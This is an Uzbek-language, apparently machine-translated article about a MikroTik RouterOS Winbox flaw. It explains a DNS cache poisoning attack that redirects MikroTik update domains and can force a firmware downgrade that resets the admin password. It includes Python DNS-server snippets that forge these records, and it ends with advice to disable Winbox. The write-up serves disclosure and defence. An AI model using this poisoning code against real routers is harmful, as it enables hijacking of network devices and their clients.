RouterOS (Mikrotik) asosidagi qurilmalarni masofadan turib pasaytirish imkoniyati yuz minglab tarmoq qurilmalarini xavf ostiga qo‘yadi. Zaiflik Winbox protokolining DNS keshini zaharlash bilan bog'liq va qurilmaga eskirgan (standart parolni tiklash bilan) yoki o'zgartirilgan dasturiy ta'minotni yuklash imkonini beradi.
Zaiflik tafsilotlari
RouterOS terminali DNS qidirish uchun hal qilish buyrug'ini qo'llab-quvvatlaydi.
Ushbu so'rov rezolyutsiya deb ataladigan ikkilik dastur tomonidan boshqariladi. Resolver RouterOS-ning Winbox protokoliga ulanadigan ko'plab ikkilik dasturlardan biridir. Yuqori darajada, Winbox portiga yuborilgan "xabarlar" massivga asoslangan raqamlash sxemasi asosida RouterOS'dagi turli ikkiliklarga yo'naltirilishi mumkin.
Odatiy bo'lib, RouterOS-da DNS server xususiyati o'chirilgan.
Biroq, server funksiyasi o'chirilgan bo'lsa ham, yo'riqnoma o'zining DNS keshini saqlaydi.
Misol.com uchun winbox_dns_request orqali so'rov qilganimizda, yo'riqnoma natijani keshlaydi.
Biz so'rov yuborilishi kerak bo'lgan DNS serverini belgilashimiz mumkinligi sababli, noto'g'ri manzillarni kiritish ahamiyatsiz. Misol uchun, siz DNS server dasturini sozlashingiz mumkin
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Endi Winbox-dan foydalanib example.com ni qidirsangiz, yo'riqnoma DNS keshi zaharlanganligini ko'rishingiz mumkin.
Albatta, example.com ni zaharlash unchalik foydali emas, chunki router undan foydalanmaydi. Biroq, marshrutizator upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com va download.mikrotik.com saytiga kirishi kerak. Yana bir xato tufayli hammasini birdan zaharlash mumkin.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Router bitta ruxsat so'raydi va biz beshtasini qaytarib beramiz. Router bu javoblarning hammasini to'g'ri keshlashmaydi.
Shubhasiz, ushbu hujum, agar yo'riqnoma DNS-server sifatida ishlayotgan bo'lsa ham foydalidir, chunki u router mijozlariga hujum qilish imkonini beradi.
Ushbu hujum, shuningdek, yanada jiddiy zaiflikdan foydalanishga imkon beradi: RouterOS versiyasini pasaytirish yoki orqaga qaytarish. Buzg'unchi yangilanish serverining mantiqini, shu jumladan o'zgarishlar jurnalini qayta yaratadi va RouterOS-ni eskirgan (zaif) versiyani joriy deb qabul qilishga majbur qiladi. Bu erda xavf shundaki, versiya "yangilanganda" administrator paroli standart qiymatga qaytariladi - tajovuzkor tizimga bo'sh parol bilan kirishi mumkin!
Shunga qaramay, hujum juda samarali
himoya
Winbox-ni oddiygina o'chirib qo'yish o'zingizni ushbu hujumlardan himoya qilish imkonini beradi. Winbox orqali boshqarish qulayligiga qaramay, SSH protokolidan foydalanish yaxshiroqdir.
Manba: www.habr.com